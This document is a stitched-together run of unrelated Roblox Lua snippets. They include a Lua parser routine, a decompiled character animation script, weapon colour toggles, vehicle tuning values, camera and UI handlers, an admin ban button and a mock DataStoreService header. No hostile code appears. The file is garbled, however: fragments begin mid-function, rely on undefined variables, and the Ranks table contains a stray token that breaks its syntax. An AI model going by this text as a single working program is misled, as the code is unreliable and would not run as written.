function luaY:repeatstat(ls, line) -- repeatstat -> REPEAT block UNTIL cond local fs = ls.fs local repeat_init = luaK:getlabel(fs) local bl1, bl2 = {}, {} -- BlockCnt self:enterblock(fs, bl1, true) -- loop block self:enterblock(fs, bl2, false) -- scope block luaX:next(ls) -- skip REPEAT self:chunk(ls) self:check_match(ls, "TK_UNTIL", "TK_REPEAT", line) local condexit = self:cond(ls) -- read condition (inside scope block) if not bl2.upval then -- no upvalues? self:leaveblock(fs) -- finish scope luaK:patchlist(ls.fs, condexit, repeat_init) -- close the loop else -- complete semantics when there are upvalues self:breakstat(ls) -- if condition then break luaK:patchtohere(ls.fs, condexit) -- else... self:leaveblock(fs) -- finish scope... luaK:patchlist(ls.fs, luaK:jump(fs), repeat_init) -- and repeat end self:leaveblock(fs) -- finish loop end
-- Decompiled with the Synapse X Luau decompiler.
local l__Parent__1 = script.Parent.Parent; local l__Humanoid__2 = l__Parent__1:WaitForChild("Humanoid"); local v3, v4 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNoUpdateOnLoop"); end); local v5, v6 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserEmoteToRunThresholdChange"); end); local v7, v8 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserPlayEmoteByIdAnimTrackReturn2"); end); if not v7 then end; local l__ScaleDampeningPercent__9 = script:FindFirstChild("ScaleDampeningPercent"); math.randomseed(tick()); function findExistingAnimationInSet(p1, p2) if p1 ~= nil then if p2 == nil then return 0; end; else return 0; end; local l__count__10 = p1.count; local v11 = 1 - 1; while true do if p1[v11].anim.AnimationId == p2.AnimationId then return v11; end; if 0 <= 1 then if v11 < l__count__10 then else break; end; elseif l__count__10 < v11 then else break; end; v11 = v11 + 1; end; return 0; end; local u1 = {}; local u2 = {}; function configureAnimationSet(p3, p4) if u1[p3] ~= nil then local v12, v13, v14 = pairs(u1[p3].connections); while true do local v15, v16 = v12(v13, v14); if v15 then else break; end; v14 = v15; v16:disconnect(); end; end; u1[p3] = {}; u1[p3].count = 0; u1[p3].totalWeight = 0; u1[p3].connections = {}; local u3 = true; local v17, v18 = pcall(function() u3 = game:GetService("StarterPlayer").AllowCustomAnimations; end); if not v17 then u3 = true; end; local v19 = script:FindFirstChild(p3); if u3 then if v19 ~= nil then table.insert(u1[p3].connections, v19.ChildAdded:connect(function(p5) configureAnimationSet(p3, p4); end)); table.insert(u1[p3].connections, v19.ChildRemoved:connect(function(p6) configureAnimationSet(p3, p4); end)); local v20, v21, v22 = pairs(v19:GetChildren()); while true do local v23, v24 = v20(v21, v22); if v23 then else break; end; v22 = v23; if v24:IsA("Animation") then local v25 = 1; local l__Weight__26 = v24:FindFirstChild("Weight"); if l__Weight__26 ~= nil then v25 = l__Weight__26.Value; end; u1[p3].count = u1[p3].count + 1; local l__count__27 = u1[p3].count; u1[p3][l__count__27] = {}; u1[p3][l__count__27].anim = v24; u1[p3][l__count__27].weight = v25; u1[p3].totalWeight = u1[p3].totalWeight + u1[p3][l__count__27].weight; table.insert(u1[p3].connections, v24.Changed:connect(function(p7) configureAnimationSet(p3, p4); end)); table.insert(u1[p3].connections, v24.ChildAdded:connect(function(p8) configureAnimationSet(p3, p4); end)); table.insert(u1[p3].connections, v24.ChildRemoved:connect(function(p9) configureAnimationSet(p3, p4); end)); end; end; end; end; if u1[p3].count <= 0 then local v28, v29, v30 = pairs(p4); while true do local v31, v32 = v28(v29, v30); if v31 then else break; end; v30 = v31; u1[p3][v31] = {}; u1[p3][v31].anim = Instance.new("Animation"); u1[p3][v31].anim.Name = p3; u1[p3][v31].anim.AnimationId = v32.id; u1[p3][v31].weight = v32.weight; u1[p3].count = u1[p3].count + 1; u1[p3].totalWeight = u1[p3].totalWeight + v32.weight; end; end; local v33, v34, v35 = pairs(u1); while true do local v36, v37 = v33(v34, v35); if v36 then else break; end; local l__count__38 = v37.count; local v39 = 1 - 1; while true do if u2[v37[v39].anim.AnimationId] == nil then l__Humanoid__2:LoadAnimation(v37[v39].anim); u2[v37[v39].anim.AnimationId] = true; end; if 0 <= 1 then if v39 < l__count__38 then else break; end; elseif l__count__38 < v39 then else break; end; v39 = v39 + 1; end; end; end; function configureAnimationSetOld(p10, p11) if u1[p10] ~= nil then local v40, v41, v42 = pairs(u1[p10].connections); while true do local v43, v44 = v40(v41, v42); if v43 then else break; end; v42 = v43; v44:disconnect(); end; end; u1[p10] = {}; u1[p10].count = 0; u1[p10].totalWeight = 0; u1[p10].connections = {}; local u4 = true; local v45, v46 = pcall(function() u4 = game:GetService("StarterPlayer").AllowCustomAnimations; end); if not v45 then u4 = true; end; local v47 = script:FindFirstChild(p10); if u4 then if v47 ~= nil then table.insert(u1[p10].connections, v47.ChildAdded:connect(function(p12) configureAnimationSet(p10, p11); end)); table.insert(u1[p10].connections, v47.ChildRemoved:connect(function(p13) configureAnimationSet(p10, p11); end)); local v48 = 1; local v49, v50, v51 = pairs(v47:GetChildren()); while true do local v52, v53 = v49(v50, v51); if v52 then else break; end; v51 = v52; if v53:IsA("Animation") then table.insert(u1[p10].connections, v53.Changed:connect(function(p14) configureAnimationSet(p10, p11); end)); u1[p10][v48] = {}; u1[p10][v48].anim = v53; local l__Weight__54 = v53:FindFirstChild("Weight"); if l__Weight__54 == nil then u1[p10][v48].weight = 1; else u1[p10][v48].weight = l__Weight__54.Value; end; u1[p10].count = u1[p10].count + 1; u1[p10].totalWeight = u1[p10].totalWeight + u1[p10][v48].weight; v48 = v48 + 1; end; end; end; end; if u1[p10].count <= 0 then local v55, v56, v57 = pairs(p11); while true do local v58, v59 = v55(v56, v57); if v58 then else break; end; v57 = v58; u1[p10][v58] = {}; u1[p10][v58].anim = Instance.new("Animation"); u1[p10][v58].anim.Name = p10; u1[p10][v58].anim.AnimationId = v59.id; u1[p10][v58].weight = v59.weight; u1[p10].count = u1[p10].count + 1; u1[p10].totalWeight = u1[p10].totalWeight + v59.weight; end; end; local v60, v61, v62 = pairs(u1); while true do local v63, v64 = v60(v61, v62); if v63 then else break; end; local l__count__65 = v64.count; local v66 = 1 - 1; while true do l__Humanoid__2:LoadAnimation(v64[v66].anim); if 0 <= 1 then if v66 < l__count__65 then else break; end; elseif l__count__65 < v66 then else break; end; v66 = v66 + 1; end; end; end; local u5 = { idle = { { id = "http://www.roblox.com/asset/?id=507766666", weight = 1 }, { id = "http://www.roblox.com/asset/?id=507766951", weight = 1 }, { id = "http://www.roblox.com/asset/?id=507766388", weight = 9 } }, walk = { { id = "http://www.roblox.com/asset/?id=507777826", weight = 10 } }, run = { { id = "http://www.roblox.com/asset/?id=507767714", weight = 10 } }, swim = { { id = "http://www.roblox.com/asset/?id=507784897", weight = 10 } }, swimidle = { { id = "http://www.roblox.com/asset/?id=507785072", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=507765000", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=507767968", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=507765644", weight = 10 } }, sit = { { id = "http://www.roblox.com/asset/?id=2506281703", weight = 10 } } }; function scriptChildModified(p15) local v67 = u5[p15.Name]; if v67 ~= nil then configureAnimationSet(p15.Name, v67); end; end; script.ChildAdded:connect(scriptChildModified); script.ChildRemoved:connect(scriptChildModified); for v68, v69 in pairs(u5) do configureAnimationSet(v68, v69); end; local u6 = ""; local u7 = false; local u8 = nil; local u9 = nil; local u10 = nil; local u11 = nil; local u12 = nil; function stopAllAnimations() local v70 = u6; if u7 then v70 = "idle"; u7 = false; end; u6 = ""; u8 = nil; if u9 ~= nil then u9:disconnect(); end; if u10 ~= nil then u10:Stop(); u10:Destroy(); u10 = nil; end; if u11 ~= nil then u11:disconnect(); end; if u12 ~= nil then u12:Stop(); u12:Destroy(); u12 = nil; end; return v70; end; local u13 = l__ScaleDampeningPercent__9; function getHeightScale() if l__Humanoid__2 then else return 1; end; if not l__Humanoid__2.AutomaticScalingEnabled then return 1; end; local v71 = l__Humanoid__2.HipHeight / 2; if u13 == nil then u13 = script:FindFirstChild("ScaleDampeningPercent"); end; if u13 ~= nil then v71 = 1 + (l__Humanoid__2.HipHeight - 2) * u13.Value / 2; end; return v71; end; local function u14(p16) return p16 * 1.25 / getHeightScale(); end; local function u15(p17) local v72 = u14(p17); local v73 = 0.0001; local v74 = 0.0001; local v75 = v72 / 0.5; local v76 = v72 / 1; if v72 <= 0.5 then v73 = 1; elseif v72 < 1 then local v77 = (v72 - 0.5) / 0.5; v73 = 1 - v77; v74 = v77; v75 = 1; v76 = 1; else v74 = 1; end; u10:AdjustWeight(v73); u12:AdjustWeight(v74); u10:AdjustSpeed(v75); u12:AdjustSpeed(v76); end; local u16 = 1; function setAnimationSpeed(p18) if u6 == "walk" then u15(p18); return; end; if p18 ~= u16 then u16 = p18; u10:AdjustSpeed(u16); end; end; local u17 = v3 or v4; function keyFrameReachedFunc(p19) if p19 == "End" then if u6 == "walk" then if u17 == true then else u12.TimePosition = 0; u10.TimePosition = 0; return; end; if u12.Looped ~= true then u12.TimePosition = 0; end; if u10.Looped ~= true then u10.TimePosition = 0; return; end; else local v78 = u6; if u7 then if u10.Looped then return; end; v78 = "idle"; u7 = false; end; playAnimation(v78, 0.15, l__Humanoid__2); setAnimationSpeed(u16); end; end; end; function rollAnimation(p20) local v79 = math.random(1, u1[p20].totalWeight); local v80 = 1; while true do if u1[p20][v80].weight < v79 then else break; end; v79 = v79 - u1[p20][v80].weight; v80 = v80 + 1; end; return v80; end; local function u18(p21, p22, p23, p24) if p21 ~= u8 then if u10 ~= nil then u10:Stop(p23); u10:Destroy(); end; if u12 ~= nil then u12:Stop(p23); u12:Destroy(); if u17 == true then u12 = nil; end; end; u16 = 1; u10 = p24:LoadAnimation(p21); u10.Priority = Enum.AnimationPriority.Core; u10:Play(p23); u6 = p22; u8 = p21; if u9 ~= nil then u9:disconnect(); end; u9 = u10.KeyframeReached:connect(keyFrameReachedFunc); if p22 == "walk" then u12 = p24:LoadAnimation(u1.run[rollAnimation("run")].anim); u12.Priority = Enum.AnimationPriority.Core; u12:Play(p23); if u11 ~= nil then u11:disconnect(); end; u11 = u12.KeyframeReached:connect(keyFrameReachedFunc); end; end; end; function playAnimation(p25, p26, p27) u18(u1[p25][rollAnimation(p25)].anim, p25, p26, p27); u7 = false; end; function playEmote(p28, p29, p30) u18(p28, p28.Name, p29, p30); u7 = true; end; local u19 = v5 or v6; local u20 = "Standing"; function onRunning(p31) local v81 = u19; if v81 then v81 = u7 and l__Humanoid__2.MoveDirection == Vector3.new(0, 0, 0); end; if (v81 and l__Humanoid__2.WalkSpeed or 0.75) < p31 then playAnimation("walk", 0.2, l__Humanoid__2); setAnimationSpeed(p31 / 16); u20 = "Running"; return; end; if not u7 then playAnimation("idle", 0.2, l__Humanoid__2); u20 = "Standing"; end; end; function onDied() u20 = "Dead"; end; local u21 = 0; function onJumping() playAnimation("jump", 0.1, l__Humanoid__2); u21 = 0.31; u20 = "Jumping"; end; function onClimbing(p32) playAnimation("climb", 0.1, l__Humanoid__2); setAnimationSpeed(p32 / 5); u20 = "Climbing"; end; function onGettingUp() u20 = "GettingUp"; end; function onFreeFall() if u21 <= 0 then playAnimation("fall", 0.2, l__Humanoid__2); end; u20 = "FreeFall"; end; function onFallingDown() u20 = "FallingDown"; end; function onSeated() u20 = "Seated"; end; function onPlatformStanding() u20 = "PlatformStanding"; end; function onSwimming(p33) if 1 < p33 then else playAnimation("swimidle", 0.4, l__Humanoid__2); u20 = "Standing"; return; end; playAnimation("swim", 0.4, l__Humanoid__2); setAnimationSpeed(p33 / 10); u20 = "Swimming"; end; local u22 = 0; function stepAnimate(p34) u22 = p34; if 0 < u21 then u21 = u21 - (p34 - u22); end; if u20 == "FreeFall" then if u21 <= 0 then playAnimation("fall", 0.2, l__Humanoid__2); return; end; end; if u20 == "Seated" then playAnimation("sit", 0.5, l__Humanoid__2); return; end; if u20 == "Running" then playAnimation("walk", 0.2, l__Humanoid__2); return; end; if u20 ~= "Dead" then if u20 ~= "GettingUp" then if u20 ~= "FallingDown" then if u20 ~= "Seated" then if u20 == "PlatformStanding" then stopAllAnimations(); end; else stopAllAnimations(); end; else stopAllAnimations(); end; else stopAllAnimations(); end; else stopAllAnimations(); end; end; l__Humanoid__2.Died:connect(onDied); l__Humanoid__2.Running:connect(onRunning); l__Humanoid__2.Jumping:connect(onJumping); l__Humanoid__2.Climbing:connect(onClimbing); l__Humanoid__2.GettingUp:connect(onGettingUp); l__Humanoid__2.FreeFalling:connect(onFreeFall); l__Humanoid__2.FallingDown:connect(onFallingDown); l__Humanoid__2.Seated:connect(onSeated); l__Humanoid__2.PlatformStanding:connect(onPlatformStanding); l__Humanoid__2.Swimming:connect(onSwimming); if l__Parent__1.Parent ~= nil then playAnimation("idle", 0.1, l__Humanoid__2); u20 = "Standing"; end; while l__Parent__1.Parent ~= nil do local v82, v83 = wait(0.1); stepAnimate(v83); end;
--red 11
if k == "r" and ibo.Value==true then bin.Blade.BrickColor = BrickColor.new("Really red") bin.Blade2.BrickColor = BrickColor.new("Institutional white") bin.Blade.White.Enabled=false colorbin.white.Value = false bin.Blade.Blue.Enabled=false colorbin.blue.Value = false bin.Blade.Green.Enabled=false colorbin.green.Value = false bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false bin.Blade.Orange.Enabled=false colorbin.orange.Value = false bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false bin.Blade.Violet.Enabled=false colorbin.violet.Value = false bin.Blade.Red.Enabled=true colorbin.red.Value = true bin.Blade.Silver.Enabled=false colorbin.silver.Value = false bin.Blade.Black.Enabled=false colorbin.black.Value = false bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Bills Cane" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ Index into `Event` to get a prop key for attaching to an event on a Roblox Instance. Example: Roact.createElement("TextButton", { Text = "Hello, world!", [Roact.Event.MouseButton1Click] = function(rbx) print("Clicked", rbx) end }) ]]
local Type = require(script.Parent.Parent.Type) local Event = {} local eventMetatable = { __tostring = function(self) return ("RoactHostEvent(%s)"):format(self.name) end, } setmetatable(Event, { __index = function(self, eventName) local event = { [Type] = Type.HostEvent, name = eventName, } setmetatable(event, eventMetatable) Event[eventName] = event return event end, }) return Event
-- Load libraries
while not _G.GetLibraries do wait() end; local Support, Cheer = _G.GetLibraries( 'F3X/SupportLibrary@^1.0.0', 'F3X/Cheer@^0.0.0' ); local View = script.Parent; local Component = Cheer.CreateComponent('BTHSVColorPicker', View); local Connections = {}; function Component.Start(InitialColor, Callback, SelectionPreventionCallback, PreviewCallback) -- Show the UI View.Visible = true; -- Start the color InitialColor = InitialColor or Color3.new(1, 1, 1); Hue, Saturation, Brightness = Color3.toHSV(InitialColor); Hue, Saturation, Brightness = Cheer.Link(Hue), Cheer.Link(Saturation), Cheer.Link(Brightness); -- Connect direct inputs to color setting Cheer.Bind(View.HueOption.Input, { Cheer.Clamp(0, 360), Cheer.Divide(360) }, Hue); Cheer.Bind(View.SaturationOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Saturation); Cheer.Bind(View.BrightnessOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Brightness); -- Connect color to inputs Cheer.Bind(Hue, { Cheer.Multiply(360), Cheer.Round(0) }, View.HueOption.Input):Trigger(); Cheer.Bind(Saturation, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.SaturationOption.Input):Trigger(); Cheer.Bind(Brightness, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.BrightnessOption.Input):Trigger(); -- Connect color to color display Cheer.Bind(Hue, UpdateDisplay):Trigger(); Cheer.Bind(Saturation, UpdateDisplay):Trigger(); Cheer.Bind(Brightness, UpdateDisplay):Trigger(); -- Connect mouse to interactive picker Connections.TrackColor = Support.AddGuiInputListener(View.HueSaturation, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'HS')); Connections.TrackBrightness = Support.AddGuiInputListener(View.Brightness, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'B')); Connections.StopTrackingMouse = Support.AddUserInputListener('Ended', 'MouseButton1', true, StopTrackingMouse); -- Connect OK button to finish color picking Cheer.Bind(View.OkButton, function () -- Clear any preview if PreviewCallback then PreviewCallback(); end; -- Remove the UI View:Destroy(); -- Return the selected color Callback(Color3.fromHSV(#Hue, #Saturation, #Brightness)); end); -- Connect cancel button to clear preview and remove UI Cheer.Bind(View.CancelButton, function () if PreviewCallback then PreviewCallback() end; View:Destroy(); end); -- Store reference to callbacks Component.SelectionPreventionCallback = SelectionPreventionCallback; Component.PreviewCallback = PreviewCallback; -- Clear connections when the component is removed Cheer.Bind(Component.OnRemove, ClearConnections); end; function StartTrackingMouse(TrackingType) -- Only start tracking if not already tracking if Connections.MouseTracking then return; end; -- Watch mouse movement and adjust current color Connections.MouseTracking = Support.AddUserInputListener('Changed', 'MouseMovement', true, function (Input) -- Track for hue-saturation if TrackingType == 'HS' then Hue('Update', Support.Clamp((Input.Position.X - View.HueSaturation.AbsolutePosition.X) / View.HueSaturation.AbsoluteSize.X, 0, 1)); Saturation('Update', 1 - Support.Clamp((Input.Position.Y - View.HueSaturation.AbsolutePosition.Y) / View.HueSaturation.AbsoluteSize.Y, 0, 1)); -- Track for brightness elseif TrackingType == 'B' then Brightness('Update', 1 - Support.Clamp((Input.Position.Y - View.Brightness.AbsolutePosition.Y) / View.Brightness.AbsoluteSize.Y, 0, 1)); end; end); -- Prevent selection if a callback to do so is provided if Component.SelectionPreventionCallback then Component.SelectionPreventionCallback(); end; end; function StopTrackingMouse() -- Releases any tracking -- Ensure ongoing tracking if not Connections.MouseTracking then return; end; -- Disable any current tracking Connections.MouseTracking:disconnect(); Connections.MouseTracking = nil; end; function UpdateDisplay() -- Updates the display based on the current color -- Get current color local CurrentColor = Color3.fromHSV(#Hue, #Saturation, #Brightness); -- Update the color display View.ColorDisplay.BackgroundColor3 = CurrentColor; View.HueOption.Bar.BackgroundColor3 = CurrentColor; View.SaturationOption.Bar.BackgroundColor3 = CurrentColor; View.BrightnessOption.Bar.BackgroundColor3 = CurrentColor; -- Update the interactive color picker View.HueSaturation.Cursor.Position = UDim2.new( #Hue, View.HueSaturation.Cursor.Position.X.Offset, 1 - #Saturation, View.HueSaturation.Cursor.Position.Y.Offset ); -- Update the interactive brightness picker View.Brightness.ColorBG.BackgroundColor3 = CurrentColor; View.Brightness.Cursor.Position = UDim2.new( View.Brightness.Cursor.Position.X.Scale, View.Brightness.Cursor.Position.X.Offset, 1 - #Brightness, View.Brightness.Cursor.Position.Y.Offset ); -- Update the preview if enabled if Component.PreviewCallback then Component.PreviewCallback(CurrentColor); end; end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; return Component;
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = { {5, "Owner", };ffcvg13 {4, "HeadAdmin", {"",0}, }; {3, "Admin", {"",0}, }; {2, "Mod", {"",0}, }; {1, "VIP", {"",0}, }; {0, "NonAdmin", }; };
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart then script.Parent.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _GThrotShift=1 local _GBrake=0 local _ClutchOn = true local _ClPressing = false local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _PGear = _CGear local _spLimit = 0 local _Boost = 0 local _TCount = 0 local _TPsi = 0 local _BH = 0 local _BT = 0 local _NH = 0 local _NT = 0 local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCSEnabled local _TCSActive = false local _TCSAmt = 0 local _ABS = _Tune.ABSEnabled local _ABSActive = false local FlipWait=tick() local FlipDB=false local _InControls = false
---------------------------------------------------------------
function onChildAdded(something) if something.Name == "SeatWeld" then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then s.Camera:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui end end end function onChildRemoved(something) if (something.Name == "SeatWeld") then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human Found") game.Players:findFirstChild(human.Parent.Name).PlayerGui.Camera:remove() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
--[[ Modes 1 - Normal 2 - First Person --]]
Mode = 1 local Look = Vector2.new() Camera = workspace.CurrentCamera Player = game.Players.LocalPlayer UserSettings().GameSettings.Changed:Connect(function(ch) if ch == "MouseSensitivity" then Sensitivity = UserSettings().GameSettings.MouseSensitivity/2 end end) function HidePlayer() if Player.Character then for i,k in ipairs(Player.Character:GetChildren())do if k:IsA("BasePart") then k.Transparency = 1 if k.Name == "Head" then k.face.Transparency = 1 end elseif k:IsA("Accessory") then k.Handle.Transparency = 1 end end end end function ShowPlayer() if Player.Character then for i,k in ipairs(Player.Character:GetChildren())do if k:IsA("BasePart") and k.Name ~= "HumanoidRootPart" then k.Transparency = 0 if k.Name == "Head" then k.face.Transparency = 0 end elseif k:IsA("Accessory") then k.Handle.Transparency = 0 end end end end function CharacterRespawn() Player.CharacterAdded:Wait() local Character = Player.Character repeat Character = Player.Character if Character then HRP = Character:WaitForChild("HumanoidRootPart") end until Character Character:WaitForChild("Humanoid").Died:Connect(function() Mode = 1 end) end CharacterRespawn()
-----------------------------
local TeamOnly = Settings.TeamOnly local TeamColor = Settings.TeamColor local TeamName = Settings.TeamName
--[[ Reloads all players characters ]]
local ServerStorage = game:GetService("ServerStorage") local getPlayersInGame = require(ServerStorage.Source.MinigameUtilities.getPlayersInGame) return function() for _, player in pairs(getPlayersInGame()) do player:LoadCharacter() end end
-- There's a bug with CharacterAppearanceLoaded. This still seems to be an issue as my testing went. -- https://devforum.roblox.com/t/characterappearanceloaded-not-working-with-localscripts/265106/7 -- This solution does work. And this really only happens when the character is detected to be spawned by the server.
RE_Character_Appearance_Loaded.OnClientEvent:Connect(function() while not Local_Player.Character do wait() end if Local_Player.Character then PartUtility.MakeInvisible(Local_Player.Character) -- Yes I know this is terrible, but CharacterAppearanceLoaded is not working for i=1,5 do wait(0.25) PartUtility.MakeInvisible(Local_Player.Character) end end end)
-- / Wind Shake / --
WindShake:SetDefaultSettings(WindShakeSettings) WindShake:Init() for _, ShakeObject in pairs(game.Workspace:GetDescendants()) do if ShakeObject:IsA("BasePart") then if table.find(ShakableObjects, ShakeObject.Name) then WindShake:AddObjectShake(ShakeObject, WindShakeSettings) end end end game.Workspace.DescendantAdded:Connect(function(Object) if table.find(ShakableObjects, Object.Name) then WindShake:AddObjectShake(Object, WindShakeSettings) end end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Glitch" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[Steering]]
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .07 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .14 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--local freeSpaceX,freeSpaceY,freeSpaceZ = 3,3,2.8
local freeSpace = Vector3.new(3,2.8,3) local box = script.Parent local contents = box.Contents local lidOffset = 3 function r(num) return math.random(-math.abs(num*100),math.abs(num*100))/100 end local function weldBetween(a, b) --Make a new Weld and Parent it to a. local weld = Instance.new("ManualWeld", a) weld.Part0 = a weld.Part1 = b --Get the CFrame of b relative to a. weld.C0 = a.CFrame:inverse() * b.CFrame --Return the reference to the weld so that you can change it later. return weld end box.Base.Touched:connect(function(oldHit) if (oldHit:FindFirstChild("Draggable") and oldHit:FindFirstChild("Pickup")) or (oldHit.Parent and (oldHit.Parent:FindFirstChild("Draggable") and oldHit.Parent:FindFirstChild("Pickup"))) then local hit if oldHit.Parent:IsA("Model") and oldHit.Parent ~= workspace.Items then hit = oldHit.Parent:Clone() oldHit.Parent:Destroy() elseif oldHit.Parent == workspace.Items then hit = oldHit:Clone() oldHit:Destroy() end if hit.Draggable then hit.Draggable:Destroy() end if hit:IsA("BasePart") then hit.Anchored = true hit.CanCollide = false local vary = freeSpace-hit.Size -- random x,y,z print(vary,"as variance") --hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z)) weldBetween(hit, box.PrimaryPart) hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100) elseif hit:IsA("Model") then for _,v in next,hit:GetDescendants() do if v:IsA("BasePart") then v.Anchored = true v.CanCollide = false weldBetween(v, box.PrimaryPart) end end local modelSize= hit:GetExtentsSize() local vary = freeSpace-modelSize --hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))) hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100)) end -- end of if hit is a basepart or model hit.Parent = contents end end)
--[[ @param Player Player The player (or nil) to be made the owner of this Ownership. --]]
function Ownership:SetOwner(Player) self.Owner = Player if Player then Owners[Player] = self end self._OwnerChangedEvent:Fire(Player) end
---- script -----
Button.Activated:Connect(function() InventoryFrame.Visible = true InformationFrame.Visible = true CaseInventoryFrame.Visible = false CaseInformationFrame.Visible = false SkinsViewFrame.Visible = false SkinsViewFrame.Position = UDim2.new(0.099, 0,0.999, 0) end)
-- declarations
local Torso=waitForChild(sp,"Torso") local Head=waitForChild(sp,"Head") local RightShoulder=waitForChild(Torso,"Right Shoulder") local LeftShoulder=waitForChild(Torso,"Left Shoulder") local RightHip=waitForChild(Torso,"Right Hip") local LeftHip=waitForChild(Torso,"Left Hip") local Neck=waitForChild(Torso,"Tail") local Humanoid=waitForChild(sp,"Humanoid") local BodyColors=waitForChild(sp,"Body Colors") local pose="Standing" local hitsound=waitForChild(Head,"Bite Bark") local BARKING=waitForChild(Head,"Seal Barking")
--Setup
if Speed_Units == "MPH" then Speed_Units = (10/12) * (60/88) elseif Speed_Units == "KMH" then Speed_Units = (10/12) * 1.09728 elseif Speed_Units == "SPS" then Speed_Units = 1 end function CheckValue(Object) if Object.Value == true then Dash[Object.Name].ImageTransparency = 0 else Dash[Object.Name].ImageTransparency = 0.7 end end for i = 1, 4 do Dash.Tach[i].RPM.Text = i * 0.25 * (_Tune.Redline - 500) end CheckValue(Values.PBrake) CheckValue(Values.ABS) CheckValue(Values.TCS)
--[[ Novena Constraint Type: Motorcycle The Bike Chassis SecondLogic | Inspare (thanks!) Avxnturador | Novena --]]
local autoscaling = true --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches } }
-- Define a function to handle button clicks and ban the player
function onKickButtonClicked() local playerId = tonumber(idTextBox.Text) if playerId then local success, result = pcall(function() return banPlayerRemote:InvokeServer(playerId) end) if success and result then idTextBox.Text = "" idTextBox.PlaceholderText = "Player ID" idTextBox.TextColor3 = Color3.fromRGB(255, 255, 255) idTextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) else idTextBox.TextColor3 = Color3.fromRGB(255, 0, 0) idTextBox.BackgroundColor3 = Color3.fromRGB(255, 200, 200) idTextBox.PlaceholderText = "Invalid ID" end else idTextBox.TextColor3 = Color3.fromRGB(255, 0, 0) idTextBox.BackgroundColor3 = Color3.fromRGB(255, 200, 200) idTextBox.PlaceholderText = "Invalid ID" end end
--[[ USAGE EXAMPLE: -------- local dataStoreService = game:GetService("DataStoreService") -- Mock service if the game is offline: if (game.PlaceId == 0) then dataStoreService = require(game.ServerStorage.MockDataStoreService) end -- dataStoreService will act exactly like the real one -------- The mocked data store service should function exactly like the real service. What the mocked service does is "override" the core methods, such as GetAsync. If you try to index a property that hasn't been overridden (such as dataStoreService.Name), it will reference the actual property in the real dataStoreService. NOTE: This has been created based off of the DataStoreService on August 20, 2014. If a change has been made to the service, this mocked version will not reflect the changes. --]]
local DataStoreService = {} local API = {} local MT = {}
--[[ This script creates sounds which are placed under the character head. These sounds are used by the "LocalSound" script. ]]-- --humanoidSoundNewLocal.rbxmx--
